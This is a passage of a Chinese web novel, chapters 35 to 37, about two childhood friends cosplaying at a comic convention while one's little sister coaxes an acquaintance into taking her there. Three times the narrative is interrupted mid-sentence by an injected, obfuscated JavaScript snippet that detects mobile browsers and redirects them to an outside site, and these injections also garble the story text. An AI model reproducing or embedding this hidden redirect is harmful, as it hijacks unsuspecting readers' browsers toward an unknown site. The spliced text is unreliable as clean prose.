;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280783|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作为补偿。” ……荡产。 “你是当代葛朗台吗?!” 罗乐安问得咬牙切齿,对面的人却还是保持微笑。 “我出工,自然要有报酬呀,不是吗?” “报酬?报酬老穗肯定会给你的呀!” “可你利用我赚钱,怎么也要出点血吧?” “……那你……那你也不能这么狮子大张口啊!” 温朗好整以暇,歪头避开罗乐安因为激动而差点喷到自己脸上的唾沫星子,然后伸手捏住了对方因为生气而变得格外圆润的腮帮子。 “你是不是忘了件事?你可还欠我钱呢。” 罗乐安:“……” 你说巧不巧,他还真忘了。 两米八的气焰瞬间消失。 “我、我也没说不还啊……” 他的声音变得叽里咕噜的,“但是,但是也可以慢慢还啊,你这样直接抢,嗯,显得多像反派啊啊嗷嗷…疼疼疼!脸!我的脸!” 听到罗乐安的哭腔都出来了,温朗终于松开手,揉了揉被自己掐红的脸蛋,又轻轻拍了拍对方圆润的后脑勺。 “这样吧,如果你期中考试能考到年级前一百五,那我就把钱再还给你。” “前一百五?!” 双手揉脸的罗乐安瞪圆眼睛,张成“O”形的嘴巴甚至都忘了合上。 “你怎么不说让我直接考进清北呢?!” “那差距还是很大的——文科生人少啊,一共加起来不超过五百人,前一百五也就是够到一本线的水平,你可以的~” 罗乐安可太想说“我不可以”了,不过他敢用自己的全部酬劳打赌,但凡他把这句话说出口,温朗一定会毫不犹豫地直接撤回一个“帮他打工”的选项。 “行叭……” 他答应得灰常勉强,一点都不上心,反正那些钱原本的确就是要还温朗的,成绩达不到就达不到,他是没什么实际损失的。 温朗显然也看得出他心里在想什么,不过并没有表示什么不满。 来日方长嘛。 “对了,”见自己的小竹马气鼓鼓又丧兮兮地往外走,他突然叫住了对方,“我想起件事儿。” “您又有什么指示啊?” 罗乐安转回身,一脸丧眉耷拉眼的模样,两根呆毛本体也像是被抽取了灵魂一样,软塌塌的,一点都不支棱。 “你那个微信名,确定让胡阿姨看到也没关系吗?” 啊? 什么微信名? 大毛和二毛晃了晃,然后冷不丁地“歘”一下立了起来。 他想起来了! “我爱打工,打工让我□□富足”,这种名字万一被胡女士瞧见——我滴个乖乖,后果不堪设想! 想到这里,罗乐安白了脸,连忙点开手机,改名! 只是要改成什么比较好呢? 人一着急就会脑袋短路,毫无灵感啊! 手指下意识在屏幕上划拉着,一不小心就点到了任穗的头像。 然后他就发现,对方不知道什么时候已经改了名字。 “金主妈妈”。 简洁明了,却极为尊贵。 看着这四个字,罗乐安来了灵感,“哒哒哒”就改好了自己的名字。 “好大儿”。 一个名字,可以同时讨好两个女人,他可真聪明~ 温朗也看到了他的新昵称,不觉扬了扬嘴角,宠溺地无声笑笑。 只是笑过之后,他又想起一件事。 “对了,乐乐,胡阿姨同意你去漫展吗?” 话音刚落,他就看到自己原本积累了满满负面情绪的小竹马,突然抬起头,冲自己露出了一个爽朗且谄媚的笑容。 35. HYDRANGEA③ 罗乐安的笑容用四个字形容的话,就是“甜度爆表”。 不过这是比较高情商的说法,低情商来形容的话,是“阿谀奉承”。 他的表演实在是用力过猛,导致温朗瞬间就明白了笑容背后的含义。 “你该不会,要先斩后奏吧?” “诶嘿嘿~” 见自己的心思被戳破,罗乐安也不恼,反倒表现得更加曲意逢迎。 “原本是那么打算的啦……”他凑到温朗身侧,开始走形式的捏腰捶腿,“可现在不是有你嘛~” “……” 温朗沉默不语,只是侧过头,盯着罗乐安。 换了其他人,被这样没什么温度的目光打量,早就受不住了。 可罗乐安没别的优点,就是脸皮够厚,他今天的底线已经一退再退了,这次真的绝对不可以投降。 于是,他也仰起头,用水润的小鹿眼发送着纯真懵懂的真爱光波。 “阿朗~” 论撒娇,方圆五百里之内,应该没有人能敌得过罗乐安。 所以,最后到底还是温朗先败下阵来。 “只此一次,下不为例。” “嗯嗯~阿朗你最好了!mua!” 留下一个热情的飞吻后,罗乐安哼着小曲儿回了家,只觉得自己赢得了十分漂亮的一仗,完全忘记他之前答应的那些“丧权辱国”的条例。 这大概就是专注力不够带来的乐观后果吧~ 而且他其实并不知道,就算他没有答应那些公平性欠缺的条件,对方其实还是会同意他的请求。 因为温朗心里还是有结。 三次了——在商场的时候,还有在海边的时候,以及刚刚才经历的,罗乐安一个人被困在怪物横行的危险的东校区。 三次了,而每一次在意外发生的时候,自己总是找不到对方,更别说在对方身边保护他,这让他非常懊恼和难受,所以原本也就不放心罗乐安离自己太远。 昨天那件事校方想办法封锁了消息,就连停课也都找了个教学楼维护的由头,就是为了避免家长们的恐慌。 所以他也不好告诉胡阿姨,只能自己亲自盯着了。 接下来的几天,罗乐安很老实,上了一天网课之后,假期前两天也都相当自觉,卷子一套接一套,让胡女士都忍不住感慨“朽木也能开花”。 不过这种伤人的评价并没有影响到他的好心情。 也不知道温朗是怎么劝的,胡女士对自己要去漫展这事儿问都没问,直接就同意了。 果然,没有人能拒绝学霸。 10月3日。 早上七点,罗乐安准时出现在了温朗家的客厅,跟温爸温妈打了声招呼,又给寿星献上诚挚的生日祝福后,便把人直接拉走了。 真的是来也匆匆,去也匆匆。 “大乐这是怎么了?”温霁举着牙刷从卫生间出来,只看到罗乐安抓着自己哥哥飞奔出门的背影。 “老哥要去哪儿啊?今天不是他生日吗?怎么还跟大乐私奔上了呢?” “你少看点那些奇怪的东西!” 温宏宇,也就是温家兄妹的父亲,直接上手拍了拍温霁的后脑勺。 “还有,别没大没小的,都说多少遍了,要叫乐乐‘哥哥’。” “哎呀,你看大乐哪里有做哥哥的样子嘛!” 温霁叼着牙刷躲开自己老爸的又一记攻击,窜到了一般情况下都很温柔善良的许琴女士身侧,“妈妈,大乐和老哥这么着急,到底是要去哪儿啊?” 许女士正在准备早餐,拍了拍小女儿的肩膀,让她往边上让让,然后将锅里的流心煎蛋盛到面碗里。 “小朗也没细说,就说要陪乐乐去漫展,反正你哥靠谱,而且他今天生日,随他吧——温小葵,快点把你嘴里的牙膏沫子洗干净,出来吃饭!” 漫展? 一边漱口,温霁一边皱着眉,深入思考。 漫展,大哥。 这俩词儿根本不搭噶嘛! 有猫腻儿! 她打了个失败无声的响指,肉乎乎的右手,在下巴那里比了个“8”,歪着嘴巴嘎嘎乐,明显对自己的推理非常自信。 不过她的得意并没有持续太久,卫生间外就传来了现实的呼唤。 “温小葵!你掉水池子里穿越了吗?” “来啦来啦,嫑催嫑催嘛!” 在爸妈的监督下,温霁认真吃完了营养早餐,心里却还惦记着自己好盆友和大哥今天那诡异的行程安排。 实在是,太让人在意了。 早饭后,温家父母便到店里忙活去了,离开前嘱咐温霁别乱跑,乖乖在家练琴写作业。 可七八岁的孩子,爱玩才是天性。 在练了几遍车尔尼后,温霁实在是坐不住了,看了会儿电视,又打了会儿游戏,最后还是没忍住,溜进温朗的房间,想要探查出些许蛛丝马迹。 然而线索没找着,反倒是转了一圈后,她被满屋子无处不在的各种书本激出了“过敏反应”,只觉得恶心想吐。 “……能住在书山里,老哥,你果然不是一般人啊……” 温霁趴在温朗房间阳台的栏杆上,缓着心头的晕眩感。 “唔……我也想去漫展瞧瞧哦……” 她可怜巴巴地自说自话,却也知道自己这个未成年中的未成年,想要一个人出门去会展中心那么远的地方,难度还是太大了。 而且她也还是知道轻重的,她可是个成熟的小二生,不会明知道有危险还不管不顾,只知道上头。 然而—— “我还是好想去逛漫展哦……” 嘴里念念有词的温霁,把脸转了个方向,换成另一面压在栏杆上,然后,她就看到楼下经过了一个有点陌生的熟人。 原本灰暗的眼睛,“歘”一下就亮了。 “熊熊哥——” 熊哲家不在这个小区,不过他初中同学家在这儿,他过来是要还同学漫画的,本来还完就要走,回去还要象征性补个作业,前两天玩游戏玩太狠,那一沓卷子还一个字儿都没动呢。 至少选择题要蒙满。 没成想还没出小区,就被一个从头顶传来的、既陌生又熟悉的声音叫住了。 尽管那个称呼怪怪的,可架不住“熊”这个姓不算多常见,所以刚听见第一个字儿他就习惯性抬头了。 就见一个扎着两个小圆髻的圆圆小脑袋,正从二楼的某家阳台栏杆处探出来。 “啊,是你啊。我记得你是温朗的妹妹是吧,叫小葵?” 没想到温朗和罗乐安的家就在这儿啊,可真是巧。 “对呀~熊熊哥,你还记得我呀~熊熊哥,你来这里干嘛呀?是来找我玩的吗?” “我过来有事儿……内什么,你能不能别那么叫我,叫我哲哥。” 一叫“熊熊哥”,整得好像他是从那个动画片穿出来的似的。 可惜熊哲的心声并没有成功传递到温霁的小脑袋瓜里,小姑娘在听到这话后的反应,非常直接。 “这个?熊熊哥你又不是东西,为什么要叫‘这个’?而且为什么是‘这个’?为什么不叫‘那个’?” 一串“这个那个”下来,熊哲感觉自己脑袋都大了。 算了,跟个小学生有什么好计较的。 “你爱怎么叫就怎么叫吧,我先回家了。还有啊,把脑袋快点收回去,太危……” “对了,熊熊哥!” 熊哲的话还没说完,就被温霁透亮的嗓门给打断了。 “你等我一下哦,我妈妈昨天烤了布丁,我拿给你吃呀~” “诶?不用了,我马上就走……” 然而熊哲的话根本就没来得及说完,那个状如米奇的小脑袋,就“嗖”一下就从栏杆外面缩了回去,整个人飞快跑远,只留下一个雀跃的声音。 这下他彻底走不了了。 万一人家小姑娘出来发现没有人,乱跑遇到危险,那他得愧疚一辈子。 好在他也没等多久,一个视频还没看完,小姑娘就“噔噔噔”跑出来了。 “这个布丁冷藏过,底下的焦糖层脆脆的,可好吃了~熊熊哥,你吃!” 熊哲并不是个脑子很好使的人,但他有野性的直觉,面对一个小豆丁突如其来的殷勤,他还不至于这么容易就掉坑里。 于是他意思一下挖了一勺布丁,发现的确好吃,正想继续挖第二勺,想起自己原本的计划,连忙忍住欲望将勺子放下。 “咳,小葵啊,你找我到底有什么事儿啊?” “emmm……熊熊哥,你满十八岁了吗?” “上个周刚满,怎么了?” “真哒?那太好了,那你带我去漫展吧,我们现在就出发!你等我下,我回去拿个包包……” “你等会儿!” 尽管熊哲脑子还没转过来,可他身体的反应更快,一把就薅住了差点就“撒手没”的温霁的衣领。 然后他脑子也消化完了刚刚的信息。 “我为啥……就要带你去漫展啊?” 这剧情发展,咋感觉一点逻辑都没有呢? “因为你成年了啊,可以带我出去玩。” “……要不我给你哥打个电话吧。” “唉唉唉!别别别啊!” 温霁到底还是收起了小聪明,一把抱住熊哲大腿,开始撒娇。 唔,希望不会给罗老师丢脸。 “其实,我是要去找哥哥的。” “那我直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283920|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接给你哥打电话不是更快吗?” “……” 温霁站直身子,深呼吸,在心里给自己打气。 温小葵,别慌,虽然你选了个木头,但你可以成功把人拿下的,加油! “重点是漫展啊!我哥,漫展,你不觉得这个组合很荒谬吗?” “是有点,那,所以呢?” “所以!当然是要去看热闹啊!这种‘刘姥姥进大观园’的戏码,你不想看吗?” “一般吧,可看可不看的。” “……” 这哪里是木头。 这比木头还木头! 比朽木还——雕了个雕的! 然而骂归骂,劝还是要继续劝的。 “熊熊哥。” “啊?” “你等会儿有事儿啊?” “唔,算有吧——我……得回去写作业。” “你这么好学的吗?” “嗯?” “咳,我是说,你确定要选‘写作业’这么无聊的事,也不想去看热闹吗?” “……” 糟了! 熊哲犹豫了,他的确有点动心了,心中的天平已经开始向“不务正业”那边快速倾斜了。 “而且,你送我这可是妥妥的正经事啊,对不对?你看啊……你这不是为了我的安全着想吗——我出门忘带钥匙了,你善良热心乐于助人,所以才一路护送我到会展中心找我哥哥——看看,看看!这思路,这逻辑,是不是特别合理呀?” 熊哲抿了抿嘴:“唔……” 的确好有道理,那些卷子全空着和只空着大题,其实也没有啥本质上的区别,还不如助人为乐呢。 “那行吧,我就当回好人,送你过去好了。” “万岁!熊熊哥你太棒了,等我一分钟,我上去拿个包,马上就出发。” 说罢,熊哲一个眨眼的功夫,人就不见了,再一个晃头的时间,背着小青蛙双肩包的温霁,就重新出现在了他面前。 “诶……诶诶?你、你不是没带钥匙吗?” “……哎呀哎呀,别管那些了!” 温霁兴奋地推着熊哲往前走,“公交快到了,错过这班还要等半个小时,快点快点,抓紧时间!” “……” 到底还是掉进坑里的熊哲,被温霁拉着倒了两趟公交一趟地铁,折腾了一个半小时,终于到达了目的地。 “先说好,找到你哥我就走。” “唔唔,随便你啦……” 进到场馆里的温霁,如同鱼儿回归大海,根本没有心思听熊哲说的是什么,满心满眼只有——好多厨子!好多饭饭! 啊!谷子天堂! 她年龄小,零花钱也不算太多,实际上买不了多少东西,可她还是津津有味,每个摊位都要去看一圈,大有要从入口逛到出口的架势。 熊哲自然是一路保驾护航。 倒不是说他真有这么热心,只是他给温朗打了好几遍电话都没人接,又不能放一个七岁的小女孩一个人在这种鱼龙混杂的地方瞎逛,只能送佛送到西了。 好后悔啊! 他又不混二次元,干嘛要凑这个热闹呢? 怎么就不能回家安安分分做卷子呢?! 「各位逛展的小伙伴请注意,各位逛展的小伙伴请注意,这里是主舞台广播!万众期待的精彩演出即将震撼登场,请所有对《紫阳花迷宫》舞台剧感兴趣的朋友,立刻前往主舞台区域!演出将在二十分钟后开始,我们的舞台位于B1馆入口正对面,席位有限,先到先得!」 场馆内的广播突然响起,虽然周围环境十分嘈杂,但广播的声音足够清晰,不少人在听到后,马上就转了方向。 包括温霁。 “嗷嗷嗷~《紫阳花迷宫》!我超爱的!!熊熊哥,快走快走,晚了就占不到位置了!” 兴奋的小姑娘直接化身怪力少女,直接拖着高出了将近半个自己的熊哲往主舞台的方向走去。 而同样兴奋的还有罗乐安,广播响起的时候,他还在尽职尽责地工作。 他跟温朗是坐任穗家的车来的,从开展就开始打工,已经营业了快两个小时,他感觉腿都没知觉了。 然而为了不菲的酬劳,他还能继续坚持。 “奇普,可以和镜玄重现一下将冷笑话的桥段吗?想看,球球惹~” “奇普”和“镜玄”正是任穗作品里天才科学家和仿生人的名字,而满足这种不出格的要求,原本也是营业的内容,罗乐安自然是不会拒绝的。 于是他看向温朗,双手叉腰仰着下巴,满脸都是得意的模样。 “小镜,我又想到新笑话咯~提问,都说人比人气死人,那蛋饼比蛋饼,会是什么呢?” 36. HYDRANGEA④ 温朗并没有看过原作漫画,只是这几天听任穗和罗乐安讲过大概人设,好在他要cos的角色,仿生人镜玄,主打一个冷漠疏离,而这对于骨子里其实并没有那么热情的温朗来说,演起来倒也没有觉得多困难。 不过仅限性格态度,对于一些具体剧情的呈现,他还属于两眼一抹黑的情况,很多时候,都是靠罗乐安和任穗的搭戏跟找补——以及他自己的脸和身材——才安全过关。 这次罗乐安表演的剧目,算是漫画主人公相处的经典场景。 因为发现自己制作的仿生人情感缺失严重,所以科学家奇普非常乐衷干一件事,那就是给镜玄讲笑话。 只是由于他的笑点太过离奇,所以每次都是冷笑话。 然而令人没想到的是,笑点这东西它“随根儿”。 不管这个包袱有多冷场,在镜玄这里,都能抖响。 罗乐安问完上句,原本想跟之前一样,悄悄用口型提醒温朗,没想到还没等他张嘴,对方就直接接了下茬。 并且还接对了。 “是……什么?” “是起司蛋饼哦~” “……噗。” 温朗的表现非常自然,问“是什么”的时候,没有什么表情动作,只是眼睛微微瞪圆,有一种天然的呆萌感。 而在没忍住笑的时候,他也没有露出太多其他的情绪和动作,只是右手握拳轻轻抵住嘴巴,咳出一声极为自持的笑。 可无论作何反应,他那双眼睛都一直注视着罗乐安,深情款款,似乎整个世界其他都是虚无,只有对面的人才是真实的。 这让周围观看录像的女生们,纷纷猛吸一口气。 也包括任穗。 呜呜呜! 她咬着手绢,努力压抑着喉咙里的嚎叫。 让乐乐把温朗骗过来,真的是她这辈子做的最正确的决定! 看这冷峻的脸。 倒三角的身材。 流畅的线条。 以及手感也一定绝佳的肌肉! 她可真会设计服装啊! 乐乐平时吃的真好啊! 不过自己现在吃的也很好~ 把“大餐”给小月发过去,让她也一起品品~ 诶嘿嘿~ 罗乐安没管以任穗为首的那些热泪盈眶的围观群众,到底都在感动些什么,他结束表演,冲“点单”的女生甜甜一笑后,就凑到温朗身边,两个人咬起了耳朵。 “阿朗~没想到呀~” 温朗在看到比刚刚还甜的笑容后,僵直的嘴角终于松缓。 “怎么了?” 为了配合对方的身高,他微微侧低下头,目光明明并没有直接看向罗乐安,却还是让人感觉两个人之间缠绕着丝丝缕缕说不清道不明的玩意儿。 那东西,叫暧昧。 这画面,让围观的人群默契地发出了幸福的抽泣声,而罗乐安对此早就见怪不怪了,还专注在二人世界说小话。 “我发现你现在跟我越来越默契了,都没等我提醒,就知道怎么接戏了诶~难道你刚刚偷偷补了剧情吗?” 听到他的话,温朗嘴角扬起一抹微不可查的笑容,轻轻摇了摇头。 “不是默契,也没有补课。” “诶?那是什么?” “是本能。” 罗乐安这次cos的算是一个比较日常系的角色,虽然也上了妆,不过只是着重刻画了眼妆,加上他眼睛本来就大,所以整体形象其实跟平时的他差别并不大。 也不会让温朗感觉太跳戏。 他这个竹马,是典型的粗线条,神经粗到可以当上吊绳用,也因此对自己的心思毫无察觉,还总是时不时就冲他撒娇卖萌,真的是个彻彻底底的天然撩。 刚刚也是这样。 穿着白大褂的罗乐安,毫无所觉地凑近自己,眼睛里闪着懵懂又纯粹的光,就算嘴里说着冷到南极的谐音梗,他还是觉得宛如天籁,让他不自觉就跟着露出了笑容。 只是他的这些心思,眼前这颗毛茸茸的“猕猴桃”完全都不知道,对方现在正摇头晃脑,专心思考到底是什么本能,可以让温朗演技飙升。 如果能知道方法,他一定要卖给娱乐圈的那些总是“面目可憎”的哥哥姐姐们。 主舞台的广播就是在这个时候响起的。 「……演出将在二十分钟后开始,我们的舞台位于B1馆入口正对面,席位有限,先到先得!」 “啊!《紫阳花迷宫》!!我想看这个!!!” 广播还没播完,罗乐安就蹦了起来,眼睛放光,宛如黑夜中的灯塔。 他抓住温朗的手疯狂摇晃,摇着摇着,他瞧见对方微笑却还是略带不解的眼神,动作暂停,眨了眨眼,果断松手,换了一个更有共鸣的对象。 “老穗!是紫阳花诶!紫阳花!海瑞吉亚——我看过公众号,是虚海歌出的,我要去看!我要去我要去我要去!!!” “去……去去去……你你你先松手……我早饭快要被你晃出来了!” 好不容易从罗乐安的“魔掌”中解脱出来,任穗因为惯性作用又晃了两下,两只手无意识地扒拉了几下眼前飞舞的星星,好在她很快就清醒过来,发现自己做出了如此愚蠢的行为后,头疼地拍了几下自己的脑门。 然后等她再睁开眼,就见罗乐安跟个小动物似的,把脸凑近自己,两只大眼睛眨啊眨,睫毛就像两把小扇子,快把她的理智都扇飞了。 而且不止如此,还有声音攻击。 “穗穗~我的好穗穗~就放我休息一会儿嘛~我保证表演结束之后马上回来!” 声音甜度之高,任穗感觉自己都要晕碳了。 虽然罗乐安总说自己长相普通,但其实他只是不属于惊艳那类而已,更重要的是,他有一个一般人很难拥有的优势,那就是够甜。 不是一般的甜,而是并不刻意的天然甜,关键是甜而不腻——要不然也不至于光撒个娇卖个萌,就能让人这么难以拒绝了。 “行吧行吧,离我远点,你家阿朗看我的眼神都要冒火了。” “哎呀,阿朗才不会这么没礼貌呢~那我就先去……” “带着温朗一起去吧,你俩可是‘CP’,去看演出的时候记得顺便帮我宣传哦~” “没问题!阿朗——额,不,小镜,跟我走,主人带你去看演出咯~” 看着一高一矮、一日常一赛博的两个人远去的背影,任穗不禁摇了摇头。 老罗可真会啊,温朗如果真有那意思,这功夫估计已经被钓成翘嘴OOC了吧! 将刚刚录好的“小情侣约会背影”视频发给常映月后,她嘟起嘴巴叹了口气。 她也是《紫阳花迷宫》这个游戏的忠实粉丝,她也想去看演出,可为了让自己的CP幸福,她还是选择放手,让两个员工去约会,自己这个大老板则得亲自看摊子。 “我怎么就混到这份上了呢?” 她一边整理摊位上的本子,一边嘟嘟囔囔,“算了,大概是因为我拿了‘大女主’的剧本吧,所以必须要好好经营事业——欢迎光临~” 这边任穗沉迷新人设,正在兢兢业业,那边罗乐安则带着温朗体验逛展的快乐,正在被集邮。 短短十分钟,他已经接待好几拨了,但他自己也遇到了好几个心仪的cos,集邮集得更欢。 除了合照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297627|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他收获更多的还是各种无料。 有不少免费又好吃的,当然也有一些贵货,不过没关系,只要价格没有高到离谱,他便眼都不眨,统统拿下。 而且一要就是三份,丝毫看不出他的穷鬼人设。 “我的,老穗的,还有凛酱的,我们仨喜好基本一致,所以这些好东西我也肯定不能吃独食。” 罗乐安拼命往他那个容量成谜的帕恰狗背包里塞各种本子和无料,同时不忘跟温朗解释自己这种败家的行为。 “而且今天的所有花费老穗都给报销,所以你也千万不要客气的呀,看中什么直接买就行~反正千万别给大小姐省钱!” 听到最后一句话,温朗低下头轻笑出声。 “你们的友情,还挺复杂的。” “还好啦~毕竟磕磕绊绊有助于巩固感情嘛——啊!是亚瑟和兰斯洛特!这么古早的CP竟然都还有饭!我要吃我要吃~” 吃了一圈“百家饭”后,距离表演开始只剩下五分钟,好在任穗的摊位原本就离舞台很近,他们这一路也没偏离路线,因此没走两步就到了。 然而这个时候,周围一圈的最佳观赏区已经被人占满了,他俩只能挤在人群外围抻脖子。 温朗还好,182的身高在以女生居多的人群前还是够看的,加上一双视力5.0的眼睛,偏偏脑袋就能将舞台上的一切收入眼中。 可罗乐安要比他矮上将近十公分,除非他能像螃蟹一样,眼睛长在呆毛上,不然他能看到的风景只有一排排的后脑勺。 “嗯……” 他并没有抱怨什么,毕竟这个结果是他自己作出来的,但他还是想要找找看,万一哪里有个空,他这个娇小的身材,应该还是很好钻的。 就是要委屈温朗一个人待在外围,可这样是不是不太妥当呀? 于是他一边饱受道德和私欲轮番上阵的谴责,一边转着脑袋,寻摸可以让他钻的空子。 只是还没等他找到呢,舞台上的表演就开始了,随着一个又一个角色登场,台下的观众激动起来,罗乐安身旁的一个女生为了观看演出,兴奋地跳了起来,一不小心就碰到了他。 直接将他撞到了温朗怀里。 “唔!吾滴鼻叽……” 温朗的仿生人装扮机械感并不算重,上身穿着一件利落的深灰色高冷无袖内衬,完美贴合了躯干线条,勾勒出强健却不臃肿的轮廓。 而在肘部、肩胛和膝盖这些主要的活动关节处,则覆盖着磨砂质感的保护壳,其下还闪烁着非常逼真的冷蓝色指示灯。 不过他的胸甲并没有采用和关节护甲一样的材料,而是选择了类似帆布这种偏硬质的布料,既能做出应有的立体感,又不会显得过于臃肿和沉重。 但罗乐安一鼻子撞上去,依旧感觉痛得不行,眼泪都飚出来了。 “你是不是偷偷练胸肌了,肿么这么硬……呜呜呜,这一定是我的报应,可我只是想想而已,什么都还没做呢,这报应来得未免也太快了……呜呜呜……” 听到他捂着鼻子瓮声瓮气地说话,温朗因为拥挤而有些不快的心情重新变得愉悦了起来。 “那你刚刚到底想什么了?” “……在犹豫要不要甩掉你往前挤。” “噗。” 温朗到底没忍住,轻笑出声。 这让罗乐安的眼泪(戏精版)飚得更凶了。 “我就只是想想而已……而且都已经遭报应了,你还笑……嗯?” 哭到一半的罗乐安突然停止抽噎,伸手揉了揉被泪水糊住的眼睛,定睛朝自己斜前方看去,发现他刚刚真的没看错,的确是遇到了熟人。 可,怎么会呢? 37. HYDRANGEA⑤ 桑榆竹? 他为什么会在这儿? 一个园艺馆老板还会来逛漫展吗? 如果真是如此,那对方大概是罗乐安见过的最大龄的二次元了。 还真是……深藏不露啊~ 罗乐安“中道崩殂”的假哭,自然是第一时间就引起了温朗的注意。 后者顺着前者的目光,朝着左前方看去,一眼就扫见了那个无论是打扮还是气质,都与周围格格不入的中年男子。 然后他心里就闪过了和罗乐安堪比复制粘贴一样的吐槽弹幕。 大概是双排弹幕的能量太大,过于“显眼”,原本一直看着舞台方向的桑榆竹,突然像是感应到了什么似的,一转头,就见两个明明算熟悉熟悉,打扮却又很陌生的小家伙,正齐刷刷地盯着自己。 噗。 还怪可爱的。 他愉悦地眯起眼睛,冲着两人所在的方向招了招手。 应该是在叫他们过去。 反正罗乐安是这么理解的,并且在仔细观察了桑榆竹的所在位置后,他觉得转移过去倒也不是不行。 那里是舞台的正侧面,挨着演员候场区,观赏效果并不佳,因此聚集的人也不算多,而桑叔身材高大,他的周围更是要比其他地方宽松许多。 既然正面高清的视频之后能在网上看到,那现在还不如过去,说不定能近距离接触自己的女神虚海歌。 总之,绝对比现在挤在人堆后面要划算的多。 “阿朗~” 罗乐安一张嘴,温朗就知道他要说什么。 不过他也觉得换个地方比较好,这里人多又什么都看不见,万一出意外遇到危险就不好了。 “过去打声招呼吧。” 两个人换了地方,果然人少空气都清新多了。 “哟~打扮得很俊嘛!” 桑榆竹对在这里遇到罗乐安和温朗两个人,似乎并没有感到意外,然而他们俩正相反,对他出现在这里的理由十分之好奇。 “一般俊啦~主要还是靠阿朗拉高我们组合颜值,当然,我也不差——咳,不说这个了,桑叔你怎么会来这儿呀?难道你也是个资深二次元吗?可我怎么之前一点都没看出来呢?” 听到罗乐安的猜测,桑榆竹理了下落在肩膀处的头发,笑着摆摆手。 “我这把年纪,可没你们这么旺盛的精力。我就是单纯来送货的。” “送货?” 罗乐安眨眨眼,面露疑惑。 他倒不是疑惑为啥会店主亲自来送货,他疑惑的是送的“货”。 “桑叔,你的店不是卖花的吗?还承接服装制作吗?这么跨领域?” 听到这话,桑榆竹笑得更厉害了,却又要顾及场合不能出声,只能身体一抖一抖地连忙摆手,却什么话都说不出来。 倒是一旁的温朗看明白了,忙给罗乐安解释。 “桑先生是来送花的。” “花?啊!有人定了花束是吗?要在表演结束的时候献花?哎呀,早知道我也订一束了!” “那些花应该不是用来献的。” “诶?不献花为什么还要订花啊?难道有人cos莱昂?”* “……你先往舞台上看看再说呢?” 温朗说完,罗乐安的注意力终于转移到了舞台上。 《紫阳花迷宫》是一部以各色花卉为线索的解谜游戏,主要背景是在一个险象环生的花园迷宫里,玩家需要解决各种花卉制造的关卡才能成功出逃,同时每成功解除一个关卡,就能让一朵花恢复原貌。 整个游戏制作精良,谜题设置十分精巧,线索和提示更是隐藏得极为精妙,一经推出便广受赞誉。 除此之外,跟一般的解密和逃脱游戏不同,它里面最吸引人的,还是各种花卉角色。 不仅拥有精美绝伦的拟人立绘,更重要的是性格鲜明,无论正还是邪,角色的行动逻辑和动机都很饱满,可以说每个角色单拎出来都非常地吸粉。 而其中最受欢迎的,当属最后的大BOSS,紫阳花海瑞吉亚。 一座花园,里面有世界各地生长的名贵花卉,却唯独没有紫阳花。 这本身就很值得思索,而更奇怪的是,这座花园,名字又叫“紫阳花迷宫”。 因此当它作为最终BOSS现身时,大多数玩家都没觉得意外,但这也并不影响这个角色的神秘感。 整个花园迷宫,其实就是由遭受了诅咒的海瑞吉亚幻化而成的,而这,也正是花园名字的由来。 游戏的结尾设计也很有意思,分为HE、BE和OE三个版本。 前者是线索全收集的解谜成功,海瑞吉亚恢复原状,柔和粉嫩的紫阳花盛开在迷宫中间,整座花园也都恢复了生机,定格在美好的夏初之际。 而BE结局,则是在解谜失败后,海瑞吉亚的诅咒依旧存在,紫阳花维持着成冰冷的蓝色,整座花园也再次陷入到沉寂的冬季,寒气四溢,了无生机。 至于开放结局,是中间过程有纰漏,但成功解开了最后的谜题,整座花园坍塌毁灭后,又从土里生长出了无数嫩芽。 游戏最后的画面,就是迷宫正中,一株枝干笔挺粗壮,叶片硕大翠绿的紫阳花,米粒大小的花苞包裹在叶间,引得人生出无限遐想,因为不知道最后会开出怎样的花。 从摊位到舞台的这一小段路途,罗乐安也并不是只顾着买买买,还是抽空给温朗科普了一下让自己如此兴奋的这部作品,因此后者很快就结合舞台上的表演,大概摸清了情况。 “那些coser衣服上的装饰是假花,但手里拿的的确是真花,而且肉眼可见的新鲜,感觉并不仅仅是刚从水里拿出来那么简单。” 听到温朗的话,罗乐安一手拉着对方的手臂,然后整个人倾斜成45°,试图看清舞台上的情况。 “真的诶~那些花花好好看啊,那话咋说来着?娇嫩欲滴?也太嫩了吧!就好像刚剪下来一样——桑叔你怎么做到的呀?独家保鲜技术?” 温朗怕人摔着,手臂一用力,将人拉正。 “应该就是刚剪下来的,不然桑先生也不会亲自来送货。” 